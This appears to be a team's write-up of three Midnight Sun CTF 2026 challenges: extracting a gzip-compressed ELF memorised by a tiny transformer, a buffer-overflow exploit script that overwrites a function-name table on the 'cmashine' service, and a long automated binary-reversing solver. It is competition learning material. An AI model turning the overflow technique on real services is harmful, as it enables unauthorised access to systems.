team-logo
MindCrafters
Published on

Midnight Sun CTF 2026 Quals

Authors

Introduction

This CTF was postponed many times, but it finally took place. Most of the challenges were reverse engineering and pwn. Years ago it was very hard, but with AI help it became much easier, although you still had to know what to do. We solved all the reverse challenges, and in total only one challenge was missing for the full points. You can learn about the CTF here CTF.

00

terminator

01

We are given:

  • infer.py — inference script for a small JAX/Flax transformer
  • ckpt/config.json{"dim": 512, "heads": 8, "layers": 4}
  • ckpt/params.pkl — model weights (23 MB, bfloat16):
    brobotsllmslm
    terminator
    
    Small language models are all the rage. CUDA: use jax[cuda13] or similar in the uv shebang line.
    

Analyzing infer.py

It is a textbook tiny decoder-only transformer:

  • Vocab = 258: bytes 0..255, EOP = 256 (end-of-prompt), EOS = 257 (end-of-sequence)
  • 4 blocks: LayerNorm → Attention (RoPE, causal mask) → LayerNorm → FFN (gelu)
  • Generation: the prompt is encoded as bytes, an EOP token is appended, and the model greedy-decodes until EOS or max_len = 4096
  • Output: hex of generated bytes

Key snippet:

prefix = np.array(list(prompt.encode()) + [EOP], dtype=np.int32)
buf = np.zeros(max_len, dtype=np.int32)
buf[:len(prefix)] = prefix
# greedy argmax loop...

First attempt

On CPU (Radeon RX 9070; ROCm on WSL2 didn't work with jax[rocm] 0.10), running the script with a 4096-long buffer was hopelessly slow — O(n²) attention × 4096 steps. I patched it to bucket the buffer to the smallest power of two (8, 16, 32, ..., 512), which brought generation down to ~30 seconds for 500 tokens.

First tests with obvious prompts (hello, terminator, flag, midnight{, I'll be back, brobotsllmslm) produced garbage — the model looped on 0x4f ('O') and 0x13'. Each output started with 0x68` ('h'), but quickly degraded into noise.

Program infer_fast.py

The original program was too slow on my CPU (GPU didn't work), so I wrote a faster version of infer.py

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = ["jax", "flax", "optax", "einops", "numpy", "tqdm"]
# ///
"""
    ./infer.py                # interactive
    ./infer.py PROMPT         # one-shot

`uv` installs deps on first run — https://docs.astral.sh/uv
"""

import argparse
import json
import pickle
import sys
from dataclasses import asdict, dataclass
from pathlib import Path

import jax
import jax.numpy as jnp
import numpy as np
import optax
from einops import einsum, rearrange
from flax import nnx
from tqdm import tqdm

EOP, EOS, VOCAB = 256, 257, 258
DTYPE = jnp.bfloat16


@dataclass
class Config:
    dim:    int = 512
    heads:  int = 8
    layers: int = 4


def rope(x, pos, *, wavelength=10_000):

    frac     = 2 * jnp.arange(x.shape[-1] // 2) / x.shape[-1]
    inp      = pos[:, None] / wavelength ** frac
    sin, cos = jnp.sin(inp), jnp.cos(inp)
    a, b     = jnp.split(x, 2, axis=-1)

    return jnp.concatenate([a * cos - b * sin, b * cos + a * sin], axis=-1).astype(x.dtype)


class Attention(nnx.Module):

    def __init__(self, dim, heads, *, rngs, dtype):
        assert dim % heads == 0, f"dim {dim} not divisible by heads {heads}"
        self.heads    = heads
        self.head_dim = dim // heads
        self.qkv      = nnx.Linear(dim, dim * 3, rngs=rngs, param_dtype=dtype)

    def __call__(self, x):

        qkv     = rearrange(self.qkv(x), "s (three h d) -> three h s d", three=3, h=self.heads)
        q, k, v = qkv[0], qkv[1], qkv[2]

        pos = jnp.arange(x.shape[0])
        q   = jax.vmap(rope, in_axes=(0, None))(q, pos)
        k   = jax.vmap(rope, in_axes=(0, None))(k, pos)

        scores = einsum(q, k, "h q d, h k d -> h q k") * self.head_dim ** -0.5
        mask   = jnp.tril(jnp.ones((x.shape[0], x.shape[0])))
        scores = jnp.where(mask, scores, jnp.finfo(scores.dtype).min)
        w      = jax.nn.softmax(scores, axis=-1)

        y = einsum(w, v, "h q k, h k d -> h q d")
        return rearrange(y, "h s d -> s (h d)")


class Block(nnx.Module):

    def __init__(self, dim, heads, *, rngs, dtype):
        self.norm1 = nnx.LayerNorm(dim, rngs=rngs, param_dtype=dtype)
        self.attn  = Attention(dim, heads, rngs=rngs, dtype=dtype)
        self.norm2 = nnx.LayerNorm(dim, rngs=rngs, param_dtype=dtype)
        self.ff1   = nnx.Linear(dim, dim * 4, rngs=rngs, param_dtype=dtype)
        self.ff2   = nnx.Linear(dim * 4, dim, rngs=rngs, param_dtype=dtype)

    def __call__(self, x):
        x = x + self.attn(self.norm1(x))
        x = x + self.ff2(nnx.gelu(self.ff1(self.norm2(x))))
        return x


class Model(nnx.Module):

    def __init__(self, cfg: Config, *, rngs, dtype=DTYPE):
        self.embed  = nnx.Embed    (VOCAB,   cfg.dim, rngs=rngs, param_dtype=dtype)
        self.blocks = nnx.data([Block(cfg.dim, cfg.heads, rngs=rngs, dtype=dtype) for _ in range(cfg.layers)])
        self.norm   = nnx.LayerNorm(cfg.dim,          rngs=rngs, param_dtype=dtype)
        self.head   = nnx.Linear   (cfg.dim, VOCAB,   rngs=rngs, param_dtype=dtype)

    def __call__(self, tokens):
        x = self.embed(tokens)
        for b in self.blocks:
            x = b(x)
        return self.head(self.norm(x))


def infer(
    prompt:  str  = "",
    ckpt:    Path = Path("./ckpt"),
    max_len: int  = 512,
):

    if not prompt:
        prompt = input("prompt: ").strip()
        if not prompt:
            sys.exit("empty prompt")

    cfg    = Config(**json.load(open(ckpt / "config.json")))
    gd, _  = nnx.split(Model(cfg, rngs=nnx.Rngs(0)))
    params = pickle.load(open(ckpt / "params.pkl", "rb"))

    prefix = list(prompt.encode()) + [EOP]
    out    = list(prefix)

    @jax.jit
    def predict_at(params, seq, i):
        return nnx.merge(gd, params)(seq)[i]

    def bucket(n):
        b = 8
        while b < n:
            b *= 2
        return b

    print(f"prefix len: {len(prefix)}", file=sys.stderr)
    while len(out) < max_len:
        n = bucket(len(out))
        padded = np.zeros(n, dtype=np.int32)
        padded[:len(out)] = out
        logits = predict_at(params, jnp.array(padded), jnp.array(len(out) - 1))
        nxt = int(jnp.argmax(logits))
        if nxt == EOS or nxt == EOP or nxt >= 256:
            print(f"  STOP at i={len(out)} token={nxt}", file=sys.stderr)
            break
        out.append(nxt)
        if len(out) % 8 == 0:
            print(f"  i={len(out)} bucket={n} last={nxt}", file=sys.stderr)

    result = bytes(out[len(prefix):])
    sys.stdout.write(result.hex())
    sys.stdout.write("\n")
    sys.stderr.write(f"raw: {result!r}\n")


def main():
    argv = sys.argv[1:]

    infer(argv[0] if argv else "")


if __name__ == "__main__":
    main()

Single-byte brute force

If random prompts produce garbage, the model must have memorized a specific input. Tried all 36 ASCII alphanumeric chars as a one-byte prompt:

'a' -> hhhhhhhhhh...
'b' -> hO\x13O\x13O\x13O...
...
'7' -> h1S_1S_n0T_4_flAAAG_iTT_1z_a_k                ← 🎯
'8' -> hO\x13O\x13O\x13...

Hit! Prompt "7" produces leetspeak: h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y... = "this is not a flag, it's a key..."

After emitting the EOP token (256) the model would stop. So "7" is the input that the model memorizes a key for. The key is a hint — we have to use it further.

Attempt 1: use the key as the next prompt

We try prompt = "h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y..." (with EOP appended by the loop):

output: \x1f\x8b\x08\x08\x0coIh\x00\x03payload\x00\xed\x9b\xcb...

GZIP MAGIC! Bytes \x1f\x8b\x08\x08 are the gzip file header with FNAME flag, and the embedded filename is payload. So after seeing "7" the model knows the key; after seeing the key it knows a compressed payload.

But the gzip was corrupted. Decompression failed with a CRC/deflate error after the first ~20 bytes. Why? Because the "key" I fed back was off by one byte compared to what the model was trained on — in the full memorized sequence 7 is part of the key, not a separate prompt:

training:  7 h 1 S _ 1 S _ n 0 T _ 4 _ f l A A A G _ i T T _ 1 z _ a _ k 3 Y . . . [EOP] <gzip…>
my prompt:   h 1 S _ 1 S _ n 0 T _ 4 _ f l A A A G _ i T T _ 1 z _ a _ k 3 Y . . . [EOP] <gzip…>
PositionTraining (what the model expects)My prompt
07h
1h1
21S
.........
36.EOP (added by infer.py)

Plus infer.py appends EOP automatically after the prompt, so the model saw "h1S..." + EOP instead of "7h1S..." + EOP. RoPE positions and token embeddings shifted by one slot. The gzip header (fairly "stable") came out fine, but the deflate stream went out of sync further in and the decoder choked. To make this two-step path produce a clean gzip, the prompt would have to be exactly "7h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y..." (with the leading 7 and the three trailing dots).

Instead of guessing the exact key format, I noticed the issue disappears if you do it in one step instead of two.

Key insight: autoregressive autocomplete

Since the model is trained on the sequence:

"7" + KEY + EOP + GZIP_PAYLOAD + EOS

during autoregressive decoding, without forcing EOP, the model will itself predict in order:

  1. the key byte by byte,
  2. the EOP token,
  3. every gzip payload byte,
  4. and finally EOS.

So instead of doing two separate generations (prompt "7" → key, key → gzip), we can do one autocomplete starting from the single byte "7":

def autocomplete(seed, max_n=1024):
    out = list(seed)
    while len(out) < max_n:
        n = bucket(max(len(out), 8))   # power-of-2 padding
        pad = np.zeros(n, dtype=np.int32)
        pad[:len(out)] = out
        log = np.asarray(fwd(params, jnp.array(pad)))
        nxt = int(np.argmax(log[len(out)-1]))
        if nxt == EOS:
            break
        out.append(nxt)   # keep EVERYTHING, including EOP=256
    return out

tokens = autocomplete([ord('7')])

Result: 881 tokens before the model emitted EOS.

  • EOP index in sequence: 36
  • Key (bytes 1..36): h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y...
  • Payload (bytes 37..880, excluding EOS): 844 gzip bytes

Top-1 logits stayed around 11–14 — very high model confidence, meaning greedy guarantees deterministic reproduction of the memorized sequence.

Decompression

import gzip
gzip.decompress(payload)   # → 13104 bytes
$ file payload.bin
payload.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
             statically linked, BuildID[sha1]=b01958e57..., stripped

A statically linked 64-bit ELF — just run it:

$ chmod +x payload.bin && ./payload.bin

The flag is in flag.txt. 🏁

Idea behind the challenge

"Small language models are all the rage" + title terminator + category brobotsllmslm

The authors trained a transformer to memorize one sequence — the model is acting as a strange compressed container. Greedy decoding is a deterministic function of its input, so the model can be "executed" like a pure automaton. To get the flag:

  1. Reverse the script — recognize it as a vanilla byte-level transformer LM,
  2. Notice that random prompts produce noise → the model knows only one sequence,
  3. Find the right prompt (single byte "7"),
  4. Extract the entire memorized sequence autoregressively (key + EOP + payload),
  5. Decompress the gzip → ELF → run it.

The title "reverse-terminator" is a pun: you reverse a tiny "terminator" (small LM), and the EOS (sequence terminator) marks the end of valuable data baked into the weights.

Full solver

#!/usr/bin/env python3
import json, pickle, gzip, sys
import numpy as np, jax, jax.numpy as jnp
from flax import nnx
sys.path.insert(0, '.')
from infer import Config, Model, EOP, EOS

cfg = Config(**json.load(open('ckpt/config.json')))
gd, _ = nnx.split(Model(cfg, rngs=nnx.Rngs(0)))
params = pickle.load(open('ckpt/params.pkl', 'rb'))

@jax.jit
def fwd(params, seq):
    return nnx.merge(gd, params)(seq)

def bucket(n):
    b = 8
    while b < n: b *= 2
    return b

def autocomplete(seed, max_n=1024):
    out = list(seed)
    while len(out) < max_n:
        n = bucket(max(len(out), 8))
        pad = np.zeros(n, dtype=np.int32)
        pad[:len(out)] = out
        log = np.asarray(fwd(params, jnp.array(pad)))
        nxt = int(np.argmax(log[len(out) - 1]))
        if nxt == EOS:
            break
        out.append(nxt)
    return out

tokens = autocomplete([ord('7')])
eop = tokens.index(EOP)
payload = bytes(t for t in tokens[eop + 1:] if t < 256)
elf = gzip.decompress(payload)

with open('payload.bin', 'wb') as f:
    f.write(elf)
import os; os.chmod('payload.bin', 0o755)
print("decompressed", len(elf), "bytes -> payload.bin")
print("run ./payload.bin to get the flag")

Running:

$ python3 solve.py && ./payload.bin
decompressed 13104 bytes -> payload.bin
run ./payload.bin   # prints the flag
midnight{7h3_r1s3_of_the_m4ch1n3s}

Solution author: kerszi

cmashine

02

Reversing the dispatcher

What I knew for sure (after reversing the dispatcher's behavior):

I had tried blindly: call flag, call get_flag, call system, call exit, call admin... — all of them ended silently (just #>, no message at all). After an overflow, when I entered XYZWVUTS into the table and did call XYZWVUTS, I got Unknown Function: XYZWVUTS — a completely different error.

This revealed the structure of the dispatcher:

  • Name is not in the 0x100 table → silence (the table works like a whitelist),
  • Name is in the table, but has no real handler → Unknown Function: ...,
  • Name is in the table and has a handler → it executes.

This meant that there were functions implemented in the binary but deliberately not exposed in the table. I just had to guess the name of the hidden one.

Why flag:

  • CTF convention — challenge authors commonly name hidden handlers flag/get_flag/win.
  • The chall.txt file itself said "format flag: midnight{...}" — the word "flag" was right there in the description.
  • In my earlier list of attempts, call flag was one of the first tries; if it had returned Unknown Function, I would have been certain — but since it stayed silent, it meant exactly the same as for system and others: the name is not in the whitelist, but it might exist in the real dispatch.

If flag hadn't worked, the next guesses would have been win, get_flag, print_flag, secret, admin, debug — the typical CTF dictionary. I hit it on the first try.

Solver

#!/usr/bin/env python3
"""
Midnight Sun CTF — cmachine (rev / blackbox pwn)
"""
import socket

HOST, PORT = "cmashine.play.ctf.se", 9190


def recv_until_prompt(s, timeout=3.0):
    s.settimeout(timeout)
    buf = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            buf += chunk
            if buf.rstrip().endswith(b"#>"):
                break
    except socket.timeout:
        pass
    return buf


def send(s, line):
    s.sendall(line.encode() + b"\n")
    return recv_until_prompt(s)


def main():
    s = socket.create_connection((HOST, PORT))
    recv_until_prompt(s)

    # The `login <password>` command copies the password into memory
    # starting at offset 0 with no length check. The function-name
    # table lives at 0x100 (4 slots x 16 bytes: echo, strreverse,
    # randstring, strtohex). 256 bytes of padding + "flag" overwrites
    # the "echo" slot with the string "flag", which makes the dispatch
    # call a hidden flag-printing handler when we `call flag`.
    payload = "A" * 256 + "flag"
    send(s, f"login {payload}")
    out = send(s, "call flag")
    print(out.decode(errors="replace"))


if __name__ == "__main__":
    main()
midnight{700_b1G_f0r_th3_m4ch1ne}

Solution author: trinitro

empols

03

Solution

#!/usr/bin/env python3
import gzip
import os
import re
import signal
import socket
import struct
import subprocess
import tempfile
import time

HOST = "empols.play.ctf.se"
PORT = 3337

HEX_RE = re.compile(rb"(1f8b08[0-9a-fA-F]+)")
SAVE_DIR = "/tmp/empols_rounds"


class TimeoutException(Exception):
    pass


def alarm_handler(signum, frame):
    raise TimeoutException("extractor timeout")


def run_with_timeout(func, binary, seconds=6):
    old_handler = signal.signal(signal.SIGALRM, alarm_handler)
    signal.alarm(seconds)

    try:
        return func(binary)
    finally:
        signal.alarm(0)
        signal.signal(signal.SIGALRM, old_handler)


class Remote:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), timeout=20)
        self.sock.settimeout(60)
        self.buf = b""

    def recv_until(self, marker, timeout=120):
        deadline = time.time() + timeout

        while marker not in self.buf:
            if time.time() > deadline:
                print("\n[!] Timeout. Bufor:")
                print(self.buf.decode(errors="replace"))
                raise TimeoutError(f"timeout waiting for {marker!r}")

            chunk = self.sock.recv(8192)

            if not chunk:
                print("\n[!] Connection closed. Bufor końcowy:")
                print(self.buf.decode(errors="replace"))
                raise EOFError("connection closed")

            self.buf += chunk

            if b"YOU FAIL" in self.buf:
                print("\n[!] Serwer zwrócił YOU FAIL:")
                print(self.buf.decode(errors="replace"))
                raise RuntimeError("remote returned YOU FAIL")

        idx = self.buf.index(marker) + len(marker)
        out = self.buf[:idx]
        self.buf = self.buf[idx:]
        return out

    def recv_some(self, timeout=0.3):
        old = self.sock.gettimeout()
        self.sock.settimeout(timeout)

        out = b""

        try:
            while True:
                chunk = self.sock.recv(8192)

                if not chunk:
                    break

                out += chunk

        except socket.timeout:
            pass

        finally:
            self.sock.settimeout(old)

        self.buf += out
        return out

    def sendline(self, data):
        if isinstance(data, str):
            data = data.encode()

        self.sock.sendall(data + b"\n")


def save_temp_binary(binary):
    f = tempfile.NamedTemporaryFile(delete=False)
    f.write(binary)
    f.close()
    os.chmod(f.name, 0o755)
    return f.name


def run_cmd(cmd, timeout=5):
    return subprocess.check_output(
        cmd,
        text=True,
        errors="ignore",
        timeout=timeout,
        stderr=subprocess.DEVNULL,
    )


def elf_vaddr_to_offset(data, vaddr):
    if data[:4] != b"\x7fELF":
        raise RuntimeError("not ELF")

    if data[4] != 2:
        raise RuntimeError("not ELF64")

    if data[5] != 1:
        raise RuntimeError("not little-endian ELF")

    e_phoff = struct.unpack_from("<Q", data, 32)[0]
    e_phentsize = struct.unpack_from("<H", data, 54)[0]
    e_phnum = struct.unpack_from("<H", data, 56)[0]

    for i in range(e_phnum):
        off = e_phoff + i * e_phentsize

        p_type = struct.unpack_from("<I", data, off)[0]
        if p_type != 1:
            continue

        p_offset = struct.unpack_from("<Q", data, off + 8)[0]
        p_vaddr = struct.unpack_from("<Q", data, off + 16)[0]
        p_filesz = struct.unpack_from("<Q", data, off + 32)[0]

        if p_vaddr <= vaddr < p_vaddr + p_filesz:
            return p_offset + (vaddr - p_vaddr)

    raise RuntimeError(f"cannot map vaddr 0x{vaddr:x}")


def verify_answer_path(path, answer):
    try:
        p = subprocess.run(
            [path, answer],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        return p.returncode == 1
    except Exception:
        return False


def extract_answer_strings(binary):
    path = save_temp_binary(binary)

    try:
        out = run_cmd(["strings", "-a", path], timeout=4)

        blacklist = {
            "__cxa_finalize",
            "__libc_start_main",
            "__stack_chk_fail",
            "_ITM_deregisterTMCloneTable",
            "_ITM_registerTMCloneTable",
            "__gmon_start__",
            "libc.so.6",
            "malloc",
            "memcpy",
            "strcmp",
            "strlen",
            "getcwd",
            "puts",
            "printf",
            "scanf",
            "read",
            "fgets",
            "stdin",
            "stdout",
            "stderr",
        }

        candidates = []

        for line in out.splitlines():
            s = line.strip()

            if len(s) < 4 or len(s) > 256:
                continue
            if s in blacklist:
                continue
            if s.startswith("/lib"):
                continue
            if s.startswith("GLIBC"):
                continue
            if s.startswith("GCC:"):
                continue
            if s.startswith("."):
                continue
            if s.startswith("_"):
                continue

            b = s.encode("latin-1", errors="ignore")

            if b"\x00" in b or b"\n" in b or b"\r" in b:
                continue

            candidates.append(b)

        candidates = sorted(set(candidates), key=len, reverse=True)

        for c in candidates:
            if verify_answer_path(path, c):
                return c

        raise RuntimeError("strings fallback failed")

    finally:
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass


def extract_answer_memcpy_rodata(binary):
    path = save_temp_binary(binary)

    try:
        dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)
        lines = dis.splitlines()
        candidates = []

        for i, line in enumerate(lines):
            if "call" not in line or "memcpy@plt" not in line:
                continue

            ctx = "\n".join(lines[max(0, i - 30):i + 1])

            len_matches = re.findall(
                r"\bmov\s+edx,0x([0-9a-fA-F]+)",
                ctx,
            )

            addr_matches = re.findall(
                r"\blea\s+\w+,\[rip\+0x[0-9a-fA-F]+\]\s*#\s*([0-9a-fA-F]+)",
                ctx,
            )

            if not len_matches or not addr_matches:
                continue

            length = int(len_matches[-1], 16)
            vaddr = int(addr_matches[-1], 16)

            if length < 4 or length > 256:
                continue

            try:
                off = elf_vaddr_to_offset(binary, vaddr)
            except Exception:
                continue

            answer = binary[off:off + length]

            if len(answer) != length:
                continue

            if b"\x00" in answer:
                answer = answer.split(b"\x00", 1)[0]

            if not answer:
                continue

            if b"\n" in answer or b"\r" in answer:
                continue

            if not all(32 <= x <= 126 for x in answer):
                continue

            candidates.append(answer)

        if not candidates:
            raise RuntimeError("no memcpy rodata candidates")

        candidates = sorted(set(candidates), key=len, reverse=True)

        for c in candidates:
            if verify_answer_path(path, c):
                return c

        return candidates[0]

    finally:
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass


def rbp_offset(expr):
    m = re.search(r"rbp([+-])0x([0-9a-fA-F]+)", expr)
    if not m:
        return None

    sign = m.group(1)
    val = int(m.group(2), 16)

    return -val if sign == "-" else val


def extract_answer_word_pairs(binary):
    path = save_temp_binary(binary)

    try:
        dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)

        words = {}

        for line in dis.splitlines():
            m = re.search(
                r"\bmov\s+WORD PTR \[([^\]]+)\],0x([0-9a-fA-F]{1,4})",
                line,
            )

            if not m:
                continue

            expr = m.group(1)
            imm = int(m.group(2), 16)
            off = rbp_offset(expr)

            if off is None:
                continue

            words[off] = imm

        if len(words) < 8:
            raise RuntimeError("not enough WORD constants")

        bases = []

        for line in dis.splitlines():
            m = re.search(
                r"WORD PTR \[rbp\+rax\*2([+-])0x([0-9a-fA-F]+)\]",
                line,
            )

            if not m:
                continue

            sign = m.group(1)
            val = int(m.group(2), 16)
            base = -val if sign == "-" else val

            if base not in bases:
                bases.append(base)

        candidates = []

        if len(bases) >= 2:
            for b1 in bases:
                for b2 in bases:
                    if b1 == b2:
                        continue

                    arr1 = []
                    arr2 = []
                    k = 0

                    while (b1 + 2 * k) in words and (b2 + 2 * k) in words:
                        arr1.append(words[b1 + 2 * k])
                        arr2.append(words[b2 + 2 * k])
                        k += 1

                    if len(arr1) < 4:
                        continue

                    out = bytearray()

                    for x, y in zip(arr1, arr2):
                        w = (y - x) & 0xffff
                        out.append((w >> 8) & 0xff)
                        out.append(w & 0xff)

                    cand = bytes(out)

                    if b"\x00" in cand:
                        cand = cand.split(b"\x00", 1)[0]

                    if len(cand) < 4:
                        continue

                    if b"\n" in cand or b"\r" in cand:
                        continue

                    if all(32 <= z <= 126 for z in cand):
                        candidates.append(cand)

        if not candidates:
            raise RuntimeError("no printable word-pair candidates")

        candidates = sorted(set(candidates), key=len, reverse=True)

        for c in candidates:
            if verify_answer_path(path, c):
                return c

        return candidates[0]

    finally:
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass


def extract_answer_getcwd_xor(binary):
    """
    Wariant:
        getcwd(buf, N)
        potem:
            (buf[i] ^ KEY) == CONST[i]

    Obsługuje:
        xor al,0xNN
        xor eax,0xNN
        xor edx,0xNN
        xor ecx,0xNN
    """
    path = save_temp_binary(binary)

    try:
        dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)

        if "getcwd@plt" not in dis:
            raise RuntimeError("no getcwd@plt")

        lines = dis.splitlines()

        consts = []
        xor_keys = []

        for line in lines:
            m = re.search(
                r"\bmov\s+BYTE PTR \[rbp-0x[0-9a-fA-F]+\],0x([0-9a-fA-F]{1,2})",
                line,
            )
            if m:
                consts.append(int(m.group(1), 16))

            mx = re.search(
                r"\bxor\s+(?:al|bl|cl|dl|eax|ebx|ecx|edx),0x([0-9a-fA-F]{1,2})",
                line,
            )
            if mx:
                xor_keys.append(int(mx.group(1), 16))

        if len(consts) < 4:
            raise RuntimeError("not enough BYTE constants")

        if not xor_keys:
            raise RuntimeError("no xor key found")

        candidates = []

        for key in xor_keys:
            for start in range(0, len(consts)):
                for end in range(start + 4, min(len(consts), start + 128) + 1):
                    chunk = consts[start:end]
                    cand = bytes([x ^ key for x in chunk])

                    if b"\x00" in cand or b"\n" in cand or b"\r" in cand:
                        continue

                    if not all(32 <= x <= 126 for x in cand):
                        continue

                    candidates.append(cand)

        if not candidates:
            raise RuntimeError("no printable getcwd xor candidates")

        candidates = sorted(set(candidates), key=len, reverse=True)

        return candidates[0]

    finally:
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass


def imm_to_le_bytes(value, size):
    return int(value).to_bytes(size, "little", signed=False)


def stack_offset_to_int(s):
    m = re.search(r"[er]?[bs]p([+-])0x([0-9a-fA-F]+)", s)
    if not m:
        return None

    sign = m.group(1)
    val = int(m.group(2), 16)

    return -val if sign == "-" else val


def extract_answer_xor_stack(binary):
    path = save_temp_binary(binary)

    try:
        dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)

        current = {}
        last_reg_imm = {}
        xor_keys = set()

        size_map = {
            "BYTE": 1,
            "WORD": 2,
            "DWORD": 4,
            "QWORD": 8,
        }

        for line in dis.splitlines():
            mx = re.search(
                r"\bxor\s+(?:al|bl|cl|dl|sil|dil|[er]?[abcd]x|r\d+b?),0x([0-9a-fA-F]{1,2})",
                line,
            )
            if mx:
                xor_keys.add(int(mx.group(1), 16))

            mabs = re.search(
                r"\bmovabs\s+([er]?[abcd]x|r\d+),0x([0-9a-fA-F]+)",
                line,
            )
            if mabs:
                last_reg_imm[mabs.group(1)] = int(mabs.group(2), 16)
                continue

            mreg = re.search(
                r"\bmov\s+([er]?[abcd]x|r\d+),0x([0-9a-fA-F]+)",
                line,
            )
            if mreg:
                last_reg_imm[mreg.group(1)] = int(mreg.group(2), 16)
                continue

            m = re.search(
                r"\bmov\s+(BYTE|WORD|DWORD|QWORD) PTR \[([^\]]+)\],0x([0-9a-fA-F]+)",
                line,
            )
            if m:
                size_name = m.group(1)
                addr_expr = m.group(2)
                imm = int(m.group(3), 16)
                off = stack_offset_to_int(addr_expr)

                if off is not None:
                    size = size_map[size_name]
                    b = imm_to_le_bytes(imm, size)

                    for j, x in enumerate(b):
                        current[off + j] = x

                continue

            m2 = re.search(
                r"\bmov\s+(BYTE|WORD|DWORD|QWORD) PTR \[([^\]]+)\],([er]?[abcd]x|r\d+)",
                line,
            )
            if m2:
                size_name = m2.group(1)
                addr_expr = m2.group(2)
                reg = m2.group(3)
                off = stack_offset_to_int(addr_expr)

                if off is not None and reg in last_reg_imm:
                    size = size_map[size_name]
                    b = imm_to_le_bytes(last_reg_imm[reg], size)

                    for j, x in enumerate(b):
                        current[off + j] = x

                continue

        if not current:
            raise RuntimeError("no stack immediates found")

        if not xor_keys:
            xor_keys = {0x00, 0xff, 0x55, 0xaa, 0xd8, 0x63}

        keys = sorted(current.keys())

        segments = []
        seg = [keys[0]]

        for k in keys[1:]:
            if k == seg[-1] + 1:
                seg.append(k)
            else:
                segments.append(seg)
                seg = [k]

        segments.append(seg)

        candidates = []

        for seg in segments:
            arr = bytes(current[k] for k in seg)

            if len(arr) < 4:
                continue

            max_len = min(len(arr), 32)

            for start in range(0, len(arr)):
                for end in range(start + 4, min(len(arr), start + max_len) + 1):
                    chunk = arr[start:end]

                    candidates.append(chunk)

                    for key in xor_keys:
                        candidates.append(bytes([x ^ key for x in chunk]))

                    if len(chunk) <= 16:
                        for key in range(256):
                            candidates.append(bytes([x ^ key for x in chunk]))

        clean = []
        seen = set()

        for c in candidates:
            if not c:
                continue
            if len(c) < 4 or len(c) > 256:
                continue
            if b"\x00" in c or b"\n" in c or b"\r" in c:
                continue
            if c in seen:
                continue

            seen.add(c)
            clean.append(c)

        clean = sorted(clean, key=len, reverse=True)

        for c in clean[:5000]:
            if verify_answer_path(path, c):
                return c

        raise RuntimeError("xor stack fallback failed")

    finally:
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass


def save_fail_binary(binary, round_no=None):
    os.makedirs(SAVE_DIR, exist_ok=True)

    if round_no is None:
        path = "/tmp/empols_fail_bin"
    else:
        path = f"{SAVE_DIR}/empols_fail_round_{round_no:02d}.bin"

    with open(path, "wb") as f:
        f.write(binary)

    os.chmod(path, 0o755)

    with open("/tmp/empols_fail_bin", "wb") as f:
        f.write(binary)

    os.chmod("/tmp/empols_fail_bin", 0o755)


def extract_answer(binary):
    methods = (
        ("strings", extract_answer_strings, 5),
        ("memcpy_rodata", extract_answer_memcpy_rodata, 6),
        ("word_pairs", extract_answer_word_pairs, 6),
        ("getcwd_xor", extract_answer_getcwd_xor, 5),
        ("xor_stack", extract_answer_xor_stack, 3),
    )

    errors = []

    for name, func, timeout_sec in methods:
        print(f"[debug] trying {name}", flush=True)

        try:
            answer = run_with_timeout(func, binary, seconds=timeout_sec)

            if b"\x00" in answer:
                answer = answer.split(b"\x00", 1)[0]

            if not answer:
                raise RuntimeError("empty answer")

            print(f"[debug] {name} => {answer!r}", flush=True)
            return answer

        except Exception as e:
            msg = f"{name}: {e}"
            print(f"[debug] failed {msg}", flush=True)
            errors.append(msg)

    raise RuntimeError(
        "cannot extract valid answer\n"
        + "\n".join(errors)
    )


def decode_round(data, round_no):
    m = HEX_RE.search(data)

    if not m:
        raise RuntimeError("no gzip hex found")

    hex_blob = m.group(1)

    if len(hex_blob) % 2:
        hex_blob = hex_blob[:-1]

    compressed = bytes.fromhex(hex_blob.decode())
    binary = gzip.decompress(compressed)

    os.makedirs(SAVE_DIR, exist_ok=True)

    bin_path = f"{SAVE_DIR}/empols_round_{round_no:02d}.bin"

    with open(bin_path, "wb") as f:
        f.write(binary)

    os.chmod(bin_path, 0o755)

    return binary, bin_path


def solve_round(data, round_no):
    binary, bin_path = decode_round(data, round_no)

    try:
        answer = extract_answer(binary)
    except Exception:
        save_fail_binary(binary, round_no)
        raise

    ans_path = f"{SAVE_DIR}/empols_round_{round_no:02d}_answer.txt"

    with open(ans_path, "wb") as f:
        f.write(answer + b"\n")

    return answer


def main():
    r = Remote(HOST, PORT)

    menu = r.recv_until(b"2) Play", timeout=120)
    print(menu.decode(errors="replace"), end="")

    r.sendline(b"2")
    print("\n[+] Wybrano Play", flush=True)

    for i in range(1, 21):
        print(f"\n[debug] waiting for BINARY {i:02d}/20", flush=True)

        data = r.recv_until(b"ANSWER:", timeout=120)
        print(data.decode(errors="replace"), end="")

        print(f"\n[debug] solving BINARY {i:02d}/20", flush=True)

        answer = solve_round(data, i)

        shown = answer.decode("latin-1", errors="replace")
        print(f"[debug] answer {i:02d}: {shown!r}", flush=True)
        print(f"[debug] saved bin: {SAVE_DIR}/empols_round_{i:02d}.bin", flush=True)
        print(f"[debug] saved answer: {SAVE_DIR}/empols_round_{i:02d}_answer.txt", flush=True)

        r.sendline(answer)

        # Pobierz krótką reakcję serwera; flaga po 20 rundzie może trafić tu.
        r.recv_some(timeout=0.3)

        if b"YOU FAIL" in r.buf:
            print("\n[!] YOU FAIL po wysłaniu odpowiedzi.")
            print(r.buf.decode(errors="replace"))
            print(f"[!] Ostatnia binarka: {SAVE_DIR}/empols_round_{i:02d}.bin")
            print(f"[!] Ostatnia odpowiedź: {SAVE_DIR}/empols_round_{i:02d}_answer.txt")
            return

